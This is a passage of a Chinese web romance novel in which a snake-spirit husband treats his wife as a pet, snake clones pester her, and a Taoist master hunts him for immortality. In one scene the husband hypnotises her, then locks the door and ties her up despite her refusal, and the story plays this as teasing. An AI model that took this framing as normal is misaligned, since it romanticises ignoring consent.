沈寂对此同样不满,然而无人在意。 他只能在旁边恶狠狠地敲着键盘,给纪云飞发去一大堆修改意见。 晚饭结束后,沈寂想尽办法好不容易说动兰稚青陪他一起去游泳,兰稚青一直都没有学会游泳,基本和个旱鸭子没区别。 按照他的设想,在清澈的泳池中,落水的兔兔会紧紧抓着他,这样他就可以趁机和兔兔索要报酬,然后口口口口口口口口口口口口口口口。 然而实际上…… 兰稚青自己带着小黄鸭游泳圈,和两条大胖蛇在水里打水仗玩球球,沈寂在旁边的泳道里游了一圈,然而根本没人在意。 包括现在,在他特地设计的影音室里,大屏幕上本来放的应该是凄婉暧昧的经典爱情电影,现在却被迫换成了什么乱七八糟的《小飞蛇历险记》。 最该死的是这玩意竟然还有好几部,加起来一共两百多集,看都看不完。 沈寂面不改色掏出手机更新了自己对纪云飞小说的修改意见。 【第319条,小说里不能出现任何蛇字。】 【为啥?】 【我恐蛇。】 【???】 第75章 第75章人不可以上床睡觉 “宝宝,醒一醒……” 兰稚青迷迷糊糊睁开眼睛,发现沈寂站在自己的面前,她下意识趴到了他的怀里,含糊不清道:“怎么了……” “你不可以在哥哥的床上睡觉哦。” 沈寂把她抱到另一个房间,里面放着一个大帐篷,他把兰稚青放下,教导道:“乖乖的人类都是不可以乱上床的,不知道你之前的饲主都是怎么教你的,但是从今天起你必须养成好习惯,以后你都要在自己的小窝里睡。” 这是人类科学饲养手册上的内容。 饲养人类时一定要提前给他们定好规矩,因为人类很聪明,如果太过溺爱他们就会得寸进尺,进而开始在家里搞破坏,变成不听话的坏孩子。 兰稚青闻言愣了一下,她顺着沈寂手指的方向看去,一时间陡然陷入了沉默。 小窝? 一个帐篷? 为什么人类必须要睡帐篷? 兰稚青不想参与室内露营,比起睡帐篷,还是软绵绵的床更合她的心意,她抗议道:“我不要睡帐篷,我要睡床!” “人人不可以睡床。” 沈寂还是坚持着自己的原则,不仅如此,他还拿走了房间里所有的零食漫画书和游戏机。 这也是人类饲养手册上说的,为了培养人类早睡早起的健康生活习惯,这些东西都必须一概收走。 “哥哥在你的小窝里铺了厚实的垫子,你今天晚上就在这里睡。” 沈寂把兰稚青塞进了帐篷里,温声道:“你必须培养良好的作息,睡够八个小时以后才能起床。” 兰稚青还没来及反应过来 ,沈寂就已经干脆利落转身离开。 空荡荡的房间里除了一个帐篷外什么都没有,她翻过来覆过去实在没事可做,只能愤恨无比待在帐篷里睡觉。 安静的室内无比寂静,兰稚青已经陷入了沉睡,她的呼吸声都变得均匀起来。 可偏偏就在这时,本来应该紧闭的房门却突然被推开一道小缝。 戴着小红帽的小白蛇鬼鬼祟祟溜了进来,它直接钻进了兰稚青的帐篷,也不管她是不是在睡觉,脑袋对着她蹭来蹭去。 嘿嘿,吸吸可爱人人。 人人又软又暖和,像被太阳晒过的棉花。 兰稚青在睡梦中被弄醒,她迷迷糊糊睁开眼睛,小白蛇见状更加兴奋,趴在她身上一顿猛吸,直接把兰稚青弄得困意全无。 小白蛇似乎是担心自己被沈寂发现,所以待了二十分钟就恋恋不舍地离开了。 兰稚青躺在帐篷里百无聊赖,只能再度酝酿着睡意,迷迷糊糊之间又睡了过去。 她的呼吸逐渐均匀,室内再度恢复了安静。 戴着小黄帽的大白蛇在门外观望了一会儿,它悄悄推开了房门,鬼鬼祟祟溜到帐篷里。 宝宝人类睡着了。 大白蛇用尾巴戳了戳兰稚青的脸颊,睡梦中的兰稚青感受到了干扰,她哼唧了一声,有些不耐烦地翻了个身。 好可爱。 大白蛇像是找到了什么乐趣,它一会儿摸摸兰稚青的脸颊,一会儿蹭蹭兰稚青的胳膊。 好不容易睡着的兰稚青又被吵醒,她迷迷糊糊睁开眼睛,看到面前的大白蛇再度陷入了沉默。 宝宝人类又睡醒了! 大白蛇用尾巴轻轻拍了拍兰稚青的手,兰稚青下意识抬起了手,大白蛇立马高兴地用尾巴尖尖缠着她晃了晃。 宝宝人类还会握爪爪。 兰稚青觉得自己就像是莫名其妙被叫醒的小猫小狗,明明睡得好好的,偏偏被人又吸又摸,只能非常不情不愿地睁眼应付。 难道这就是传说中的报应吗? 大白蛇同样待了二十分钟,它恋恋不舍地蹭了蹭兰稚青的脸颊,这才偷偷摸摸离开房间。 兰稚青生无可恋地躺在帐篷里,她只能盯着头顶的帐篷开始数羊。 在她即将马上又要睡着的瞬间,本来应该紧闭的房门却又被打开。 兰稚青:“……” 没完没了了是吧。 沈寂放轻脚步走到帐篷前,本来以为兰稚青已经步入梦乡,没想到却猝不及防和正坐在帐篷里的兰稚青对上了视线。 他愣了一下,惊讶道:“宝贝,你怎么还没有睡着?” 兰稚青幽幽道:“我睡不着。” 反正睡着了也会被吵醒,那还不如不睡。 “乖宝宝,你还是想和哥哥一起睡对不对?” 沈寂并不理解兰稚青的哀怨,他终于给自己找到了一个合适的借口,迫不及待把兰稚青抱了起来,故作无奈道:“那实在没办法了,我只能把你抱回床上睡了。” 人类失眠是一件很严重的事情,他的宝贝人人自己睡觉会失眠,所以他把她抱回去一起睡还是很符合科学饲养的准则的。 兰稚青被沈寂重新抱回了床上,她以为这样就是结束,终于能够睡个安稳的好觉。 她拉过被子给自己盖上,刚刚准备闭上眼睛,却突然意识到沈寂正目光灼灼地盯着她。 兰稚青有些纳闷地眨了眨眼,奇怪道:“……怎么了?” 沈寂抱着她一通猛吸,夸奖道:“好聪明啊乖乖,你还会自己盖被子呢。” …… 兰稚青对动画片明显也不怎么感兴趣,她最开始还是打哈欠,后来实在忍不住靠着沙发闭上了眼睛,沈寂见兰稚青已经睡着,他眼疾手快把两条大胖蛇一起扔了出去,转而从旁边拿过毯子轻轻盖在兰稚青的身上。 兰稚青突然惊醒,她看到了沈寂盖自己盖毯子的动作,迷迷糊糊道:“我自己会盖……” 沈寂闻言应了一声,他摸了摸兰稚青的脸颊,温声道:“盖好了,接着睡吧。” 兰稚青并没有睡过去,她窝在沈寂的怀里发了会儿呆,半晌才终于回神。 她环视了一圈四周,没有看到大白蛇和小白蛇的身影,不由得疑惑开口问道:“蛇去哪里了?” 沈寂早就已经想好了合适的借口,解释道:“太晚了,它们去睡觉了。” 可是兰稚青并未因此善罢甘休,她执着问道:“蛇去哪里睡觉了呢?” “蛇……当然是回小窝里睡觉了呀。” 沈寂亲了亲她的脸颊,柔声道:“我们也该去睡了,你明天不是还要回学校拍毕业照吗?” “蛇可以去床上睡觉吗?” 兰稚青在梦里体会到了当宠物的委屈,所以眼巴巴地看着沈寂,追问道:“蛇蛇可以和我们一起睡吗?” “……蛇不可以上床睡觉。” “可是你不是也是蛇吗?” “……” 沈寂觉得自己脸上的表情都要僵了,他思索片刻,理直气壮道:“它们太胖了,会把床压塌的。” “……” 好像确实有点道理。 沈寂发现兰稚青似乎并没有打算继续睡的意思,他试探性地亲了亲兰稚青的脸颊,发现兰稚青没有反抗后更加得寸进尺。 兰稚青就像一块软绵绵的面团任由沈寂揉捏,即使沈寂做得再过分也没有制止他的行为,最多就是可怜巴巴地哼唧两声。 可是她越是这样,沈寂便越觉得反常,他微微松开了兰稚青,轻声问道:“怎么了,有心事吗?” “……没有。” 兰稚青摇了摇头,明显不愿意在这个问题上多说。 沈寂微不可察皱了皱眉,但是他没有逼问下去,反而是继续认真把兔兔面团做成兔兔饼。 兰稚青不愿意开口不要紧,他自有办法让她实话实说,即使要用上一点点非常手段。 “宝宝,看着我。” 兰稚青闻言下意识看向了沈寂,在影音室昏暗的灯光下,她猝不及防对上了他的眼眸,那双漂亮的眸子像是旋涡一样把她的灵魂吸了进去,她觉得自己仿佛掉进了海底,意识逐渐抽离。 沈寂看到兰稚青失神,他微微用力把她抱坐到了腿上,蛊惑道:“宝宝,告诉我,你到底在想什么呢?” 兰稚青反应还有些迟钝,她似乎是在思考沈寂问的问题到底是什么意思,许久才老老实实开口:“我要是死掉了怎么办?” 生老病死本来就是所有人都会经历的过程,这个时间上唯一公平的事物就只有时间,不管是贫穷还是富有,是美丽还是丑陋,它们最终都会化为一抔黄土。 兰稚青本来是愿意坦然接受这个结局的,可是偏偏沈寂和她不同。 他的寿命比她要漫长很多,他们之间是不对等的,即使她的生活再健康,即使她再怎么保养自己的身体,她的寿命也不过只有百年。 “你是不会死掉的。” 沈寂闻言轻笑了一声,他冰凉的唇瓣轻轻擦过了兰稚青的耳垂,低声道:“你必须一直和我在一起,哪怕是变成鬼我都会一直缠着你的。” 兰稚青因为他的话打了个激灵,她下意识抓紧了沈寂的肩膀,自我意识突然间回笼,她还没有反应过来刚才发生了什么,沈寂就突然把她又按在了沙发上。 “宝宝,今天可以舔舔吗?” “不可以!” 兰稚青看到沈寂的眼睛因为兴奋变成了竖瞳,她隐约察觉到了些许的危险,本能把他推到一旁想要离开。 然而她才刚刚把门开了一个小缝,还未来得及跑出去,沈寂就把她拉了回去。 守在外面的小白蛇见状下意识想要进去,可是沈寂却直接把门从里面锁上,它气得不停在外面用尾巴拍门。 “坏宝宝,刚刚不还是很乖的吗?” 沈寂轻轻松松又把兰稚青按回了沙发上,轻笑道:“别害怕呀乖乖,我只是舔舔,让你舒服好不好?” 兰稚青不信他的这番说辞,她死死扯着自己的衣服,据理力争道:“我不要,你又想骗我!” 沈寂要真的只是舔舔刚才就会直接当自助埋头苦吃,这种像是钓鱼一样的语气十有八九是在憋什么坏心眼。 “你是不是又要咬我?上一次你就咬肿了……” 宝宝蛇是不是被坏蛇咬尾巴尖了?! 大白蛇死死贴着房门,听到里面的动静气愤不已,可是它现在偏偏没办法进去, 只能把旁边一脸无辜的小白蛇暴打了一顿。 房间里的沈寂突然觉得自己后背一痛,他的脸色微微阴沉了下来。 好烦。 两条蠢蛇又在打架,下次再也不弄什么分身了,他直接把兰稚青带在身边,还不用跟着看动画片。 沈寂虽然确实是一条满肚子黄色心眼的大坏蛇,但是在兰稚青面前一直伪装得还好,很少会有沉着脸的时候。 兰稚青不明真相,她看到沈寂脸色不太好看,以为是自己把他惹生气了,她抿了抿唇,犹豫片刻还是默默松开了自己的手。 “对不起,你不要生气……” “什么?” 沈寂闻言一怔,他意识到兰稚青是误会了什么,连忙解释道:“乖乖,我没有对你生气呀,只是蛇一直在外面打架,我有点担心它们而已。” “两条蛇蛇在外面打架吗?” 影音室的隔音做得很好,兰稚青完全没有听到外面的动静,她闻言下意识想要起身去查看情况,但是却又被沈寂按回了原位。 “不要管它们,打是亲骂是爱,打架就当是促进感情了。” “打是亲骂是爱……这些都是歪理,万一受伤了怎么办。” 兰稚青见沈寂还是一副满不在乎的样子,试图用将心比心的道理说服他,顺便好让自己脱身。 “如果我也打你骂你难道你还会说打是亲骂是爱吗?” “当然。” 沈寂对此格外坦然,甚至反问道:“为什么不呢?” 兰稚青闻言一哽,她意识到自己和沈寂完全没办法在同一个频道沟通,人的XP是多种多样的,蛇的XP更是百花齐放。 她再度落入了下风,她觉得自己这个时候应该说点脏话骂一骂沈寂,虽然很有可能把他给骂爽了,但是至少这样显得自己理直气壮。 然而偏偏沈寂是一条蛇。 骂人的词汇千千万,骂蛇的话倒真的少之又少。 如果是平常互联网对骂,兰稚青可以无差别问候对方父亲,爷爷,祖宗,乃至二大爷。 可是沈寂是条蛇,他爸爸是蛇,他爷爷是蛇,他祖宗也是蛇,如果他有二大爷的话…… 兰稚青话没来得及过脑子,脱口而出:“你有二大爷吗?” “这个倒是没有。” 沈寂眨了眨眼,矜持道:“我们一般都是独生蛇。” 这个问题实在问的有点多余了。 兰稚青在心里暗自嘀咕,就算是沈寂有二大爷,那不也是一条蛇吗。 她的词汇仅限于坏蛇,笨蛇,不要脸蛇之类听起来就非常没有气势的话。 “宝宝,你难道还没有想好要怎么骂我吗?” 沈寂还在等着开饭,他拍了拍兰稚青的膝盖,似笑非笑催促道:“如果还没想好的话,不如我们先来做点别的如何?” “你……” 兰稚青无意识搓了搓自己的衣角,干巴巴憋出一句,“贱……贱蛇。” “……” 沈寂按住她大腿的手微微收紧,他一直低着头,兰稚青看不清他的表情,以为是自己骂得太过,下意识想要开口道歉。 然而还未等她来得及说话,沈寂就已经把她绑了起来。 兰稚青见状一怔,她本来想要挣扎,可是奈何沈寂绑的很紧,她只能气愤道:“是你让我骂你的,不是你说打是亲骂是爱的吗?” “是啊,所以我已经感受到了兔兔主人的爱。” 沈寂轻轻褪下了那一小块布料,无辜道:“可是这和我要舔兔兔有什么关系吗。” “我只是舔舔,又不会做别的事情,你知道的,我一向说话算数。” 兰稚青还想试图反抗,可是后知后觉意识到自己反抗得越厉害沈寂可能就越兴奋。 她抿了抿唇,干脆死猪不怕开水烫,放狠话威胁道:“你要是做别的我们以后就分开睡。” 笨兔,这个时候还想着讨价还价。 沈寂闻言毫不犹豫答应了下来,态度格外顺从。 兰稚青刚刚放松警惕,可是余光却瞥到沈寂轻轻张嘴,蛇信隐约一闪而过。 ?! 沈寂果然又在骗她! 第76章 第76章你到底几岁了 兰稚青第二天一早又是被沈寂叫醒的。 她抱着怀里的兔子玩偶迷茫眨了眨眼睛,只觉得自己手脚酸软满身疲惫,反观沈寂容光焕发,活像是那种吸食别人精气的妖精。 兰稚青的怨念更深,气得恨不得现在就暴打沈寂,可是又担心自己真的把沈寂给打爽了。 讨厌鬼! 她发誓以后绝对不会再相信沈寂的半句鬼话! “还在生气呀宝宝。” 沈寂把兰稚青从被子里挖了出来,他凑过去亲了亲她的脸颊,含笑道:“昨天晚上不是很舒服吗,你都……” “我才没有!” 兰稚青恶狠狠打断了沈寂的话,生怕他再说出什么不知廉耻的话来。 沈寂挑了挑眉,倒是也没有继续逗她,转而亲昵道:“我帮你把今天要穿的衣服挑好了哦。” 兰稚青不想搭理他,干脆拒绝和他沟通,但是沈寂深谙兔兔心理学,这种情况一般都属于默认,他干脆直接把兰稚青抱到了衣帽间,把搭配好的衣服放到她面前让她挑选。 沈寂在打扮兰稚青上有超乎寻常的热情,之前兰稚青和他有隔阂不愿意穿他选的衣服,他只能退而求其次打扮兰稚青的玩偶兔子,现在有了机会他自然不肯轻易放过。 兰稚青看得眼花缭乱,她对穿什么倒没有什么太大的追求,本来四月也不是拍毕业照的时候,只是最近天气回暖,A大的花比往年提前开了,几个室友约好了要一起拍几张照片留作纪念。 大白蛇带着小白蛇在卧室巡视了一圈,但是并没有找到兰稚青的身影,最后循着味道一路走到了衣帽间,用尾巴打开了房门。 “蛇蛇?你们怎么又跑到这里来了。” 兰稚青听到动静下意识回头,沈寂一看到两条蛇在那里探头探脑顿觉不妙,他刚刚想把它们一起赶出去,可是两条蛇早就有了经验,抢先一步钻了进来。 大白蛇把脑袋搭在了兰稚青的膝盖上,小白蛇的尾巴还一直缠着她的小腿,兰稚青觉得自己好像个印度人。 她只能腾出手摸了摸蛇的脑袋,借此来安抚它们躁动的情绪,随口问道:“昨天还在外面打架,怎么今天关系就这么好了。” 两条蛇的手感摸起来倒是没什么区别,小白蛇呆萌吐了吐信子,对兰稚青的话一律装作自己听不懂,扭来扭去就要往她怀里钻。 沈寂闭了闭眼,试图让自己眼不见心为静,耐心帮兰稚青穿上袜子。 沈寂有一点小小的强迫症,衣服摆放都是按照颜色的深浅分的,兰稚青在他拿衣服的间隙看了一眼,意外发现了一堆非常显眼的黑色裙子。 她有些纳闷,奇怪道:“什么时候多出这么多条黑裙子了,昨天好像还没有……” “今天早上刚送到的。” 沈寂随口回答道:“这几件是为了留到重要场合穿的,这样会显得比较严肃,有备无患嘛。” “……重要场合?现在清明节扫墓也不一定非要穿黑的吧。” 兰稚青闻 言不置可否,只当这又是沈寂一时兴起的购物欲犯了。 她和沈寂好像都没什么对外的社交,所谓的重要场合更是少之又少,她觉得这些衣服最后的结局多半都是落在衣帽间里吃灰。 “诶,等一下,你们家需要扫墓吗?” 兰稚青后知后觉意识到了什么,她有些犹疑道:“你家先祖是不是要去化石博物馆里见啊?” “手抬起来。” 沈寂帮兰稚青拉上了拉链,随口道:“扫墓就不用了,我们蛇不讲究这些。” 他仔仔细细给兰稚青整理好了裙摆,顺便把趴在她身上的蛇给硬生生扒拉开,这才满意亲了亲她的脸颊,夸奖道:“好了,现在又是漂亮宝宝了。” 大白蛇猝不及防被沈寂推倒。 它愣了一下,下意识又想去咬他,但是被沈寂扫了一眼,又有些警惕地闭上了嘴。 “你们是亲戚吗?” 兰稚青歪了歪头,她凑过去把沈寂大白蛇和小白蛇三条蛇都闻了一遍,纳闷道:“你们三个身上的味道怎么都是一样的。” 沈寂闻言果断否认,“不是亲戚,应该只是用了一样的沐浴露吧。” “是这样吗……” 兰稚青看起来似乎有些欲言又止,她试探问道:“老公,我能问你一件事吗?” 沈寂点了点头,“当然可以,你想问什么?” 兰稚青抿了抿唇,小声问道:“你今年到底几岁了啊。” 沈寂脸上的笑容微微僵住,他轻咳了一声,故作淡定道:“我不太记得了,自从超过这个数之后我就没仔细输过了。” 他手指比出了一个四的手势,兰稚青了然地点了点头,“四百岁啊,那其实也还好。” 虽然比她想象中的大了一点点,但是也还好。 大白蛇在旁边听得一脸震惊,气得恨不得用尾巴去抽沈寂。 撒谎!老黄瓜刷绿漆!这条坏蛇又在骗宝宝蛇! “可是你活四百年会不会被人发现啊?” 兰稚青似乎对这个问题格外感兴趣,她疑惑问道:“你四百年都用同一个名字吗?” “小心一点就不会被发现的,而且大家都很忙,一般也不会注意到这点小事,如果真的有必要的话,就假死一下,换个身份重新开始。” “这怎么听起来这么像通缉犯……” 沈寂故作随意地岔开了话题,随口道:“对了,我今天上午有课,你拍完照之后记得给我发个消息,我去你们学校接你。” “那我们到时候在天桥附近见吧,拍完照之后我去那边买一下糖炒栗子。” “这个季节还有卖糖炒栗子的吗?” “有呀,天桥底下那一家炒的最好吃了!” 兰稚青明显又被沈寂带歪了话题,她莫名其妙又和沈寂探讨了半天无关紧要的问题,从糖炒栗子说到学校人工湖里的胖锦鲤,直到沈寂开车把她送到了校门口,她才后知后觉想起来自己最开始问的问题到底是什么。 沈寂这样逃避话题已经不是一次两次的事了,兰稚青意识到自己又被他带偏,她心中懊恼,但是也实在没办法,只能先拍完照片,想着回去之后再和沈寂算账。 A大的花目前正是盛放的时候,再加上这个时候正逢假期,学校里人流量减少,排除外界的干扰,出片率也大大提高。 兰稚青和室友拍完照片,大家本来还想要出去聚餐,只是实习生假期也要被拉着加班,除了一位室友要和男友出去约会,另外两个室友都有事要先离开,这个计划只能暂时搁置下来。 到最后又剩下她一个人了。 兰稚青闲着无事可做,干脆在校园里四处闲逛,享受起难得的春日。 虽然已经在这里待了四年,可是直到今天她似乎才真的仔细看过这片校园。 在此之前她忙着兼职和学习,好像从来没有这样放慢自己的脚步。 “青青?” 兰稚青听到了熟悉的声音,她下意识回过了头,看到拿着文件的周老师微微一怔,惊喜道:“周老师?您怎么现在还在学校?” “警方今天过来二次取证,其他老师都有事回家了,我离着近,干脆顺便过来了。” 路锡鸣自从被抓之后,警方从他家里搜索到了更多的罪证,可以佐证他有教唆自杀的嫌疑,现在案件已经开始进入审理阶段。 周老师细细打量了兰稚青一眼,含笑道:“你的气色比以前好多了。” 兰稚青弯了弯眉眼,大大方方道:“老师,我结婚了。” “结婚了?” 周老师闻言愣了一下,她有些诧异,但是却并没有追问,反而是笑道:“那你一定是找到了真正爱你的人。” 她在一年前曾经问过兰稚青,是希望选择爱她的人,还是选择她爱的人,当时兰稚青毫不犹豫选了前者。 “嗯,但是我也爱他。” 兰稚青话说出口才意识到自己太过直接,她耳朵不由得有些泛红,和沈寂相处久了,她也受到影响变得坦率起来。 周老师见状笑了笑,倒是很为兰稚青的转变感到开心,只是她还急着要去办公室,匆匆和兰稚青聊了几句便主动告别, 兰稚青觉得今天可能确实是幸运日,她和室友见面拍了照片,在学校里舒服闲逛,而且还正好遇到了周老师。 现在只差买一袋香喷喷的糖炒栗子就圆满了。 也不知道蛇会不会吃糖炒栗子…… 沈寂还没有下课,兰稚青也不着急,她慢悠悠晃到了学校天桥附近,四处搜寻起了糖炒栗子的摊位。 糖炒栗子……糖炒栗子…… 兰稚青转了一圈也没找到熟悉的摊位,她只能对旁边卖糖葫芦的商户询问:“大哥,之前这里有一家买糖炒栗子的,你知道他们家的摊位搬到哪里去了吗?” “糖炒栗子?糖炒栗子今天没出摊,放假人太少了,糖葫芦你来一串不?去核甜山楂,好吃得很。” “那给我来一串吧。” 兰稚青秉着来都来了不能白来的想法,还是买了一根糖葫芦,丝毫没有意识到半分危险,毫不犹豫一口咬了下去。 …… 好酸。 兰稚青觉得自己牙都要被酸掉的,她眉头紧皱咽下了嘴里的山楂,默默把糖葫芦又装回了袋子里。 不好吃,留给沈寂吃。 正泽大师是一路拿着罗盘找到这里的,他找了一处空地坐下,眼神警惕环视着过路的行人。 自从他那天一气之下把纪云飞赶走之后,他再度失去了线索,只能像只无头苍蝇一样沿着之前纪云飞给的信息四处乱找。 他倒是想过要让纪云飞再重回师门的想法,所以让其他弟子去联系过纪云飞,可是纪云飞这回像是真的铁了心一样,怎么说都不愿意回头。 逆徒,白费了他这么多年的培养。 正泽大师越想越气,只能硬生生压住心里的焦躁,仔细打量着过往的每一个路人。 “老弟,你是刚来的吧?” 王阿婆例行来这里摆摊,清明节中元节,这些时候对于干她们这行的都是商机,实在是不能轻易错过。 她看着正泽大师眼生,一边磕着瓜子一边随口道:“你是专门算命的?干支背熟了吗?” “……” 正泽大师有些警惕地扫了她一眼,看到她摆的那些坑人的朱砂手串佛像吊坠之类的手工艺品,他微不可察地皱了皱眉,没好气道:“我是正统道家出身,和你们这种野路子不一样。” “什么野路子,我这也是学过的好不好,什么生辰八字,紫微斗数,包括那个时候洋玩意塔罗牌,这些我都会。” 王阿婆见正泽大师这么不客气,她的态度也变得冷淡了下来,随口道:“你也别说什么道家出身,我孙子,那之前可是白龙山那个什么大师的弟子,是正儿八经的道士,结果现在还不是被撵回家了。” 她一边磕着瓜子一边抱怨道:“什么道家正统,我看着还没我们野路 子好呢,那个什么大师还不知道是从哪个野路子出来的,包装了一下就成什么牛逼人物了,要我说啊,这人品差,本事再大也没用!” “……” 正泽大师闻言微微一顿,他脸上的表情有些僵硬,分辩道:“那指不定是你孙子自己犯了错被赶回去了。” “我孙子那可是一等一的老实人!” 这个时候没有顾客,王阿婆干脆分了一把瓜子给他,得意洋洋道:“不过不当道士也挺好的,我孙子现在在家里写小说,指不定过几年就是畅销书作家了,这不比苦哈哈得当道士好。” 正泽大师不想听王阿婆在这里说废话,奈何王阿婆的话实在是太密,他完全找不到空隙能走。 他一边听着王阿婆絮絮叨叨,一边还要耐心搜寻路过的每一个人,只觉得自己的脑子都要炸了。 直到拿着糖葫芦的兰稚青从他的面前路过,正泽大师陡然眼前一亮,下意识想要去拦住她。 “诶,老弟,那小姑娘之前是我顾客,她可不好骗的。” 王阿婆好心想要提醒,可是正泽大师却完全听不进去,他抬脚刚刚准备过去,下一秒却看到兰稚青扑到了沈寂的怀里。 找到了……他找到了…… 他终于找到他长生不老的希望了。 正泽大师贪婪地凝视着沈寂,他的手甚至因为激动而不断发抖,几乎是迫不及待追上了他们的脚步。 “两位,请等一下……” 沈寂听到声音下意识回头,他微不可察地皱了皱眉,婉拒道:“不好意思,我们不买瓜子。” 第77章 第77章原来你在这里 “我不是要给你们卖瓜子……” 正泽大师脸色微僵,他后知后觉意识到自己有些冲动,又怕被沈寂发现破绽,只得装作摆摊算命的招揽顾客,干巴巴道:“你们二位算命吗?” 沈寂闻言瞥了他一眼,正泽大师被他看得心里发慌,刚刚想要退缩,却听到沈寂突然开口,“好啊。” “……什么?” 兰稚青闻言愣了一下,她有些警惕地扯了扯沈寂的袖子,低声道:“怎么突然要算命了,这些都是骗人的。” 她之前年少不懂事就差点上当受骗,可是沈寂都这么大岁数了,按理说实在也不应该啊。 “没关系啦,反正现在回去也有点太早了。” 沈寂拉着兰稚青去了正泽大师所谓的摊位,由于没有椅子,他们坐的甚至还是王阿婆提供的。 兰稚青虽然一句话都没有问,但是却已经打心眼认为他就是个实打实的骗子,毕竟他旁边摆摊的就是上回骗她的老太太,俗话说物以类聚人以群分,谁知道他们是不是一伙的。 正泽大师明显也没想到沈寂真的会答应算命。 他的心思本就焦躁,现在更是紧张得难以精心,冷汗都顺着他的额角滴了下来。 “老弟,这天也不热啊,你怎么都开始出汗了?” 王阿婆本来是想磕着瓜子看热闹的,结果看到正泽大师冷汗连连,她心里骂了声没用,但还是好心拆了包纸巾递给他。 就这心理素质还出来摆摊算命,对面卖酸糖葫芦的都比他心理素质好。 “谢谢……” 正泽大师从她的手里接过了纸巾,他手忙脚乱擦了擦自己的汗,对上兰稚青诧异的眼神,他尴尬解释道:“不好意思啊,我这人就是容易出汗,您二位是打算算点什么?” 算什么…… 兰稚青也不知道沈寂到底要算什么。 平常人要算的不外乎就是财富福泽,感情纠纷,父母家宅,身体健康之类的东西,因为难以掌握,所以才会想要通过算命安慰自己。 可是这些对沈寂来说完全没有必要啊。 兰稚青一脸茫然,沈寂倒是丝毫不慌,淡淡道:“要不就先看看面相吧。” “看面相……” 正泽大师脸色隐隐有些僵硬,他下意识想要抬头去看沈寂,可是对上他的眼睛却又开始恐惧。 那种恐惧就像是一种本能,是对死亡和危险的惧怕。 “你……你面相挺好的,事业财运感情都挺顺利。” 正泽大师自认为自己这辈子也算是能掐会算,可是偏偏今天绞尽脑汁只挤出这么干巴巴的一句话,旁边的王阿婆看他的眼神都有些恨铁不成钢。 事业财运感情都顺利,算命的要是都这么说那早就饿死了。 “哦?可是我看你的面相好像不怎么好?” 沈寂闻言似笑非笑,他像是打量一件物件一样打量着正泽大师,慢吞吞道:“你幼年丧母,青年丧父,中年丧妻,晚年执念过深,害人害己,实在是福薄。” 正泽大师闻言难以置信地看着沈寂,一时间面如土色,张了好几次嘴都没能说出话来。 沈寂似乎对他失去了兴趣,他拉着兰稚青起身离开,丝毫没有打算继续停留的意思。 王阿婆见正泽大师脸色这么难看,试探问道:“咋了老弟,你没事吧?用不用送你去医院?真让那个小伙子给说中了?” 正泽大师没空回答王阿婆的话,他慌慌张张站了起来,整个人像是一只受惊的老鼠,慌不择路地逃离了这个地方。 兰稚青听到动静回头看了一眼,她有些惊诧地看向沈寂,疑惑道:“原来你还会看面相呀?” 沈寂没有否认,谦虚道:“略懂一二。” 兰稚青闻言顿时眼前一亮,她扯着沈寂的衣袖晃了晃,小声道:“那你帮我看一看,你看看我怎么样?” 沈寂闻言停下了脚步,他捧着兰稚青的脸颊仔细端详了一下,不知为何眉头却越皱越紧。 兰稚青乖乖任由他摆布,就像是在医生面前等待诊断的病人,她有些紧张,试探问道:“怎么了?是我有什么问题吗?” “嗯……我再仔细看一看,你先眨一眨眼。” 沈寂顿了顿,又道:“然后再把嘴巴嘟一下。” 兰稚青老老实实听沈寂的指示做了动作,还没来得及问出原因,沈寂就突然低头凑过去亲了她一口。 “你又骗我!” 兰稚青意识到自己上当受骗,她气得想要直接给沈寂一巴掌,可是手刚刚抬起来却想起了自己买的糖葫芦。 她眼珠一转,把手里的糖葫芦塞到了沈寂的手里,没好气道:“亏我还给你买了糖葫芦。” “给我买的?” 沈寂从纸袋里拿出那串糖葫芦,神色微妙道:“可是它看起来好像少了一个山楂。” 兰稚青言之凿凿,“我太饿了就先吃了一个,剩下的就是给你的。” “嗯,那谢谢乖乖了。” 沈寂面不改色咬了一口兰稚青给他的糖葫芦,夸赞道:“好甜。” “……真的吗?” 兰稚青闻言一怔,她试图在沈寂的脸上看出破绽,可是他却面不改色咬了第二口,淡定道:“对啊,就是很甜,不过我感觉糖葫芦的山楂还是酸一点比较好,不然裹上糖真的太甜了。” 哪里甜了,里面的山楂明明就是酸的,沈寂的味觉不会是出问题了吧。 兰稚青从沈寂的手里接过那串糖葫芦咬了一口,顿时被酸的皱紧了眉头,她有些诧异地看向沈寂,对上沈寂还未来得及收回去的笑意,顿时明白了一切。 “你是故意 的?!” 沈寂一脸无辜,“不是呀,我是真的觉得很甜。” 兰稚青意识到自己又被沈寂给耍了,她气得炸毛,但是奈何是自己理亏在先,最后只能认栽。 沈寂本来是想要直接回去,但是一想到家里还有两条烦人的蛇他就头疼,最后干脆借着要拿重要文件的名头打算先回之前的住处。 “宝宝,之前的家和现在的家你更喜欢哪一个呀?” “当然是现在的啊,家里更大,可以捉迷藏。” 兰稚青对此实话实说,反正家里的卫生也不是她在打扫,房子当然是越大越好玩。 沈寂闻言微顿,委婉道:“可是我还是感觉我们之前的家比较温馨。” 兰稚青没有多想,随口道:“你喜欢的话,我们也可以搬回来住呀,要不我们现在开车回去接蛇蛇?” “我不是这个意思……” 沈寂神色微僵,他就是不想看到那两条蠢蛇所以才想换个地方住的! 兰稚青察觉到沈寂话语里似乎有点不对劲,她下意识侧头看他,看到沈寂苍白的脸色顿时吓了一跳。 “……你的脸色怎么这么白,你是不是生病了?” 沈寂闻言刚刚想要开口解释,可是话到嘴边却又打了个弯,他轻咳了一声,虚弱道:“确实是有一点点不舒服,不过我想这应该不是什么大事,回家休息一下应该就会好了。” “那我们要不要先就近停车,我打车带你去医院看一看?” 兰稚青趁着等红绿灯的间隙伸手摸了摸沈寂的手,他身上的温度冷得吓人,她有些懊恼,低声道:“早知道我也应该去考个驾照的。” 这样出了紧急的事情她还可以帮帮忙。 “我没事的,不需要去医院。” 沈寂婉拒了兰稚青的好意,体温下降,身体出现异样,进食减少,这种感觉他很熟悉,他没有任何问题,只是即将蜕皮了而已。 但是对养蛇一无所知的兰稚青却格外紧张,沈寂刚刚把车停好,她就迫不及待下车扶住了他。 沈寂干脆顺水推舟装起病来,故作虚弱地靠在她的身上。 从他们认识以来,兰稚青还从来没有见过沈寂生病,她自己隔三差五会有点小病小痛,可是沈寂却异常健康,这还是她第一次照顾生病的沈寂。 兰稚青虽然对照顾别人没什么经验,但是她自己照顾自己十多年,自认为也算是略有心得。 